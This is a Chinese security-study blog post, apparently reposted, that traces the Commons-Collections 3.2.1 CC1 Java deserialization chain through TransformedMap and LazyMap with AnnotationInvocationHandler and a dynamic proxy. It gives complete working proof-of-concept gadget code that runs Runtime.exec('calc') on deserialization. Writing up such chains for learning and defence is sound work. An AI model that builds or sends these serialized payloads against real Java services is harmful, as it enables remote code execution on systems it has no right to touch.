Java安全小记-Commons-Collections1反序列化

admin 2025年1月2日20:06:31评论5 views字数 20634阅读68分46秒阅读模式

TranformedMap

复习一遍之前学过的,由于太过久远导致基本全部忘记了,还有就是当时的笔记记得太过于潦草导致根本没法复习。

这次重新跟一遍cc1链。

环境搭建

具体搭建可以参考bilibili的白日梦组长。

就是将下载jdk  8u71以下的版本,然后在下载对应的openjdk将里面的sun包复制过来,然后注意Commons-Collections的版本为3.2.1。

函数介绍

Transformer

Transformer是一个接口,只有一个带实现的方法;
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个“回调
函数”,这个回调的参数是原始对象。

publicinterfaceTransformer{
public Object transform(Object input);
}

InvokerTransformer

InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键;

在实例化这个InvokerTransformer时,需要传⼊三个参数:

  • 第⼀个参数是待执⾏的⽅法名
  • 第⼆个参数是这个函数的参数列表的参数类型
  • 第三个参数是传给这个函数的参数列表

后面transform方法,通过反射调用执行了input对象的iMethodName方法。

publicInvokerTransformer(String methodName, Class[] paramTypes, Object[] args){
super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

/**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */

public Object transform(Object input){
if (input == null) {
returnnull;
        }
try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }

ChainedTransformer

ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,将前一个回调返回的结果作为后一个的参数传入。

publicChainedTransformer(Transformer[] transformers){
super();
        iTransformers = transformers;
    }

/**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */

public Object transform(Object object){
for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
return object;
    }

ConstantTransformer

ConstantTransformer是实现了Transformer、Serializable接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回;

作用就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。

publicConstantTransformer(Object constantToReturn){
super();
        iConstant = constantToReturn;
    }

/**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */

public Object transform(Object input){
return iConstant;
    }

Transfomed

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。

publicclassTransformedMapextendsAbstractInputCheckedMapDecoratorimplementsSerializable{
        ......
publicstatic Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
returnnew TransformedMap(map, keyTransformer, valueTransformer);
    }

protectedTransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
    }
    ......
public Object put(Object key, Object value){
        key = transformKey(key);
        value = transformValue(value);
return getMap().put(key, value);
    }

publicvoidputAll(Map mapToCopy){
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }

调用链过程

先来看一下Transfomed的poc

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


publicclassdemo01{
publicstaticvoidmain(String[] args)throws Exception {

//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();

//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");

//        //InvokerTransformer方法获取runtime实例,并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
        Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]
{String.classClass[].class}, newObject[]{"getRuntime"null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,null}),
new InvokerTransformer("exec"new Class[]{String.class}, newObject[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.classMap.class);
//保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.classtransformedMap);

        serialize(o);
        unserialize("ser.bin");

    }

publicstaticvoidserialize(Object obj)throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

publicstatic Object unserialize(String Filename)throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
return obj;
    }
}

其实通过上面的函数介绍可以知道invokerTransformer中的transform方法就是一个可以调用任意类中的方法的一个函数,所以它在这里算是我们反序列化最终执行的点来进行恶意操作。那么下面我们就需要找到一个谁调用了这个transform方法,我们可以在序列化的时候将调用这个方法的对象给改成invokerTransformer对象

所以第一步我们找到了一个调用该方法的函数是TransformedMap中的CheckSetValue方法

Java安全小记-Commons-Collections1反序列化

通过对该类的构造方法的分析可以看到我们可以传入三个参数具体如下代码所示

//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
protectedTransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

//接受一个对象类型的参数
//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象
protected Object checkSetValue(Object value){
return valueTransformer.transform(value);
}

所以我们可以在传入valueTransformer这个参数时让其为invokerTransformer对象,但是由于该类是protected的类型所以不能直接实例化,但是我们发现该类中有一个静态方法 decorate()

publicstatic Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
returnnew TransformedMap(map, keyTransformer, valueTransformer);
    }

所以可以直接调用该方法,将invokerTransformer对象注入进去。此时CheckSetValue中的valueTransformer就可以被我们改为invokerTransformer对象。那么接下来就需要找到一个可以触发CheckSetValue的方法。通过调试可以找到一个MapEntry类中的setValue方法调用了该方法

staticclassMapEntryextendsAbstractMapEntryDecorator{

/** The parent map */
privatefinal AbstractInputCheckedMapDecorator parent;

protectedMapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent){
super(entry);
this.parent = parent;
        }

public Object setValue(Object value){
            value = parent.checkSetValue(value);
return entry.setValue(value);
        }
    }

在MapEntry方法中,Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法。简单来说就是通过通过对setValue()方法的调用来触发checkSetValue()方法 MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调checkSetValue()

Java安全小记-Commons-Collections1反序列化
Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec"new Class[]{String.class}, newObject[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();

        map.put("key","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
        Map<Object, Object> transformedMap = TransformedMap.decorate(
                map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()) {   //遍历Map常用格式
//调用setValue方法,通过setValue去触发checkSetValue()
            entry.setValue(runtime);      
        }

梳理一遍过程:

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,

在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,

然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

下面就是找到一个readObject中调用了setValue这个方法:找到了AnnotationInvocationHandler这个类中的readObject调用了该方法如下代码所示:

privatevoidreadObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException 
{
        s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
thrownew java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

可以找到该类的构造方法

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
thrownewAnnotationFormatError("Attempttocreateproxyforanon-annotationtype.")
;
this.type = type;
this.memberValues = memberValues;
    }

可以看到memberValue是可控的是可以由构造方法直接传入的。所以接下来我们可以着手构造一下该链,但是在写的时候由于该类是java的内部类所以需要反射来调用如下代码所示:

//定义序列化方法
publicstaticvoidserialize(Object object)throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

//定义反序列化方法
publicstaticvoidunserialize(String filename)throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }
publicstaticvoidmain(String[] args)throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec"new Class[]{String.class}, newObject[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();

        map.put("value","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
        Map<Object, Object> transformedMap = TransformedMap.decorate(
                map, null, invokerTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.classMap.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.classtransformedMap);
//serialize(o);
        unserialize("ser.bin");
    }

反序列化时运行报错这是为什么:

问题1:

https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7

通过查看Runtime类发现没有实现serializable是不可序列化的所以需要通过反射来进行构造

Java安全小记-Commons-Collections1反序列化
Class rc=Class.forName("java.lang.Runtime");                 //获取类原型
        Method getRuntime= rc.getDeclaredMethod("getRuntime",null);    //获取getRuntime方法,
        Runtime r=(Runtime) getRuntime.invoke(null,null);    //获取实例化对象,因为该方法为无参方法,所以全为null
        Method exec=rc.getDeclaredMethod("exec", String.class);        //获取exec方法
        exec.invoke(r,"calc"); 

我们需要将其改造成InvokerTransformer的形式

Method getRuntime = (Method) new InvokerTransformer(
"getDeclaredMethod"new Class[]{String.classClass[].class},
newObject[]
{"getRuntime"null}).transform(Runtime.class);

//这里模拟获取invoke方法
 Runtime runtime = (Runtime) new InvokerTransformer(
"invoke"new Class[]{Object.classObject[].class},
newObject[]
{nullnull}).transform(getRuntime);


//这里模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec"new Class[]{String.class}, 
newObject[]
{"calc"}).transform(runtime);

在这里解释下为什么需要获取getMethod方法而不是直接获取getRuntime,因为我们传入的是Runtime.class对象在InvokerTransformer类中的transform方法会在获取其class,所以就变成java.lang.class对象了,这个类是不存在getRuntime方法的所以需要先反射获取getMethod方法,在通过invoke传入的Runtime.class对象,获得其getruntime方法因为此时获取的method对象所以还需要在反射调用invoke来将getruntime的实例获取出。此处具体参考https://xz.aliyun.com/t/7031?time__1311=n4%2BxnD0GDti%3DLxQTq05%2BbDyCbdbd4YvjPx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12715%3Ftime__1311%3DmqmhDvOD7GkD8Dl6%252BG78cyuxfhDIgD0I5x%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com%252F#toc-7

对于runtime反射获取改成InvokerTransformer形式的解释:

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.

我们先看getRuntiime方法的参数

publicstatic Runtime getRuntime(){
return currentRuntime;
}

没有参数,那就非常简单了

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//得到Runtimeclass
    //由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
    //上面传入Runtime.class,调用RuntimeclassgetRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
newInvokerTransformer("getRuntime",newClass[]
{},new Object[]{}),
//上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)     
new InvokerTransformer("exec"new Class[] {String.class }, newObject[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

在这里,之前自己陷入了一个很傻逼的问题,即:InvokerTransformer类transform方法中return method.invoke()这个语句invoke()调用到底return了啥?因为在这里形成了一个调用return的结果,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢?一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invoke的结果都不一样,源码看的头晕。实际上是钻了死胡同:invoke的return是根据被调用的函数return啥,invoke就return啥。就好比我invoke一个我自定义的方法a,在a中,我return了字符串"1"。那么就是invoke的结果就是字符串"1"。看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer

Java安全小记-Commons-Collections1反序列化

以上感觉是万事大吉了!但是实际上并不是...

回想之前对于InvokerTransformer中Class cls = input.getClass();的解释

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

我们来推演第一次InvokerTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:

//InvokeTransformer关键语句:
public Object transform(Object input){//input为我们设置的常量Runtime.class
Class cls = input.getClass();//!!!这里由于input是一个类,会得到java.lang.Class
//在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象,此处报错!!
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

那么我们好像陷入了一个死胡同:得到Runtime类实例才能调用exec方法。而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例.........

第二点九步 还是反射机制

那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢?

还是反射机制

已知:

  1. 我们开头不能获得Class.forName("java.lang.Runtime"),只能得到Class.forName("java.lang.Class")
  2. 我们可以有任意的反射机制求:
  3. 我们要获取到Runtime.getRunime函数,并执行它。解:
  4. 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
  5. 通过getMethod函数获取Runtime类中的getRuntime函数
    • 在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
  6. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
  7. invoke调用getRuntime函数,获取Runtime类的实例
    • 这里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类

具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。

我们的最终目的是执行Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

先来获取getRuntime类

//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod"new Class[] {String.classClass[].class })
.invoke(Class.forName("java.lang.Runtime"),"getRuntime",newClass[0])
;
//invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transformers格式

Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[] 
{String.classClass[].class }, newObject[] {"getRuntime"new Class[0] }),
//还需要填充 调用getRuntime得到Runtime实例,
new InvokerTransformer("exec"new Class[] {String.class }, newObject[] {"calc.exe"})
};

还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。this.iArgs=null,new Object[0]

那么整合就如下:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[] 
{String.classClass[].class }, newObject[] {"getRuntime"new Class[0] }),
new InvokerTransformer("invoke"new Class[] {Object.classObject[].class }, newObject[] {nullnew Object[0] }),
new InvokerTransformer("exec"new Class[] {String.class }, newObject[] {"calc.exe"})
};

以上代码其实就是等同于((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec("calc.exe");

将修改后的代码重新运行看看

publicstaticvoidmain(String[] args)throws Exception {


        Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[] 
{String.classClass[].class }, newObject[] {"getRuntime"new Class[0] }),
new InvokerTransformer("invoke"new Class[] {Object.classObject[].class }, newObject[] {nullnew Object[0] }),
new InvokerTransformer("exec"new Class[] {String.class }, newObject[] {"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();

        map.put("key","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
        Map<Object, Object> transformedMap = TransformedMap.decorate(
                map, null, chainedTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.classMap.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.classtransformedMap);
//serialize(o);
        unserialize("ser.bin");

发现还是不能运行我们动态调试看看

Java安全小记-Commons-Collections1反序列化

发现在这里为空所以不能进入if条件,也就无法调用setValue方法

Java安全小记-Commons-Collections1反序列化

在这里我们发现他回去获取我们传入的注解类型并且获取注解里面方法的名字,然后通过判断我们传入的名字是否与注解里的名字是否一致,一致则不为空否则为空就不进入if条件。所以这里我们子啊put时将键的值改成注解类型里面的方法名即可:

Java安全小记-Commons-Collections1反序列化

可以看到Target的方法名时value所以改成value就可以了

Java安全小记-Commons-Collections1反序列化

这样就可以执行了

Java安全小记-Commons-Collections1反序列化

cc1TransformedMap调用链

Java安全小记-Commons-Collections1反序列化

参考:https://xz.aliyun.com/

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.337.search-card.all.click&vd_source=82398f68c82cb90e0d9aa4fea90e36a0

https://blog.csdn.net/weixin_49047967/article/details/134763883

LazyMap

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承了

AbstractMapDecorator。

TransformedMap的漏洞触发点:是在利用put方法写入元素的时候触发了transform方法从而触发了我们构造的恶意利用链

LazyMap触发点与TransformedMap有点差别我们还是向以前通过查找transfrom的调用方法来看看:

Java安全小记-Commons-Collections1反序列化

发现LazyMap的get方法中factory对象调用了transform方法所以只要我们能够将factory的对象设为invokertransformer对象,当map.containskey(key) == false,就会调用factory.transform。就可以进行rce

所以查看一下LazyMap的构造方法

protectedLazyMap(Map map, Factory factory){
super(map);
if (factory == null) {
thrownew IllegalArgumentException("Factory must not be null");
        }
this.factory = FactoryTransformer.getInstance(factory);
    }

发现是factory对象是可控的,不过这里是protected类型所以不能直接实例化,但是LazyMap中也有一个静态方法decorate可以实例化

publicstatic Map decorate(Map map, Transformer factory){
returnnew LazyMap(map, factory);
    }

在TransformedMap利用链完善这篇文章中我们有分析AnnotationInvocationHandler,在其readObject方法中通过调用setValue添加元素来触发transform。但是在readObject方法中没有直接调用到Map的get方法。不过ysoserial的作者找到了在该类的invoke方法中调用了get方法

Java安全小记-Commons-Collections1反序列化

但是反序列化的时候应该如何触发该方法呢,我们想到了java的动态代理,这里参考Java安全漫谈 - 11.反序列化篇(5).pdfJava安全漫谈 - 10.用TransformedMap编写真正的POC.pdf

https://mp.weixin.qq.com/s/doU_WAxgCHpApPpogngVtg、p牛的文章解释为什么可以在反序列化的时候可以调用invoke方法

Java对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需 要用到 java.reflect.Proxy :

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] 
{Map.class}, handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻 辑。 比如,我们写这样一个类ExampleInvocationHandler:

package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
publicclassExampleInvocationHandlerimplementsInvocationHandler{
protected Map map;
publicExampleInvocationHandler(Map map){
this.map = map;
    }
@Override
public Object invoke(Object proxy, Method method, Object[] args)throws Throwable {
if(method.getName().compareTo("get") == 0){
            System.out.println("Hook method: "+ method.getName());
return"hacked Object";
        }
return method.invoke(this.map,args);
    }
}

package vulhub;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
publicclassExampleTest{
publicstaticvoidmain(String[] args){
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), newClass[] {Map.class}, handler);
        proxyMap.put("test","xxx");
        String result = (String)proxyMap.get("test");
        System.out.println(result);
    }
}

看执行结果,我们能发现我们明明传进Map是test值为xxx,但是我们获取到的结果却是hacked Object。

Java安全小记-Commons-Collections1反序列化

这里用自己的话解释这个动态代理的应用原理,就是说我们使用这个Proxy.newProxyInstance这个类去代理一个对象时,这个对象调用任意方法都会触发我们传入的InvocationHandler对象的invoke方法。

AnnotationInvocationHandler,这个类实际就是一个InvocationHandler,将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意的方法。就会自动调用到 AnnotationInvocationHandler#invoke 方法,进而触发我们的LazyMap#get。我们可以调试看看

Java安全小记-Commons-Collections1反序列化
Java安全小记-Commons-Collections1反序列化

在这里发现membervalues调用entyset方法时调用了invoke方法。

所以我们可以构造出LazyMap的利用链

首先使用LazyMap替换TransformedMap。

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后通过反射获取

sun.reflect.annotation.AnnotationInvocationHandler

这个内部类,然后进行对其进行Proxy。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.classMap.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.classouterMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), newClass[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是:

sun.reflect.annotation.AnnotationInvocationHandler#readObject,

所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.classproxyMap);

完整的poc

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[] 
{String.classClass[].class }, newObject[] {"getRuntime"new Class[0] }),
new InvokerTransformer("invoke"new Class[] {Object.classObject[].class }, newObject[] {nullnew Object[0] }),
new InvokerTransformer("exec"new Class[] {String.class }, newObject[] {"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//lazymap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.classMap.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.classouterMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), newClass[] {Map.class}, handler);

        handler = (InvocationHandler)construct.newInstance(Retention.classproxyMap);

cc1 LazyMap调用链Java安全小记-Commons-Collections1反序列化

原文始发于微信公众号(土拨鼠的安全屋):Java安全小记-Commons-Collections1反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日20:06:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全小记-Commons-Collections1反序列化https://cn-sec.com/archives/3584055.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息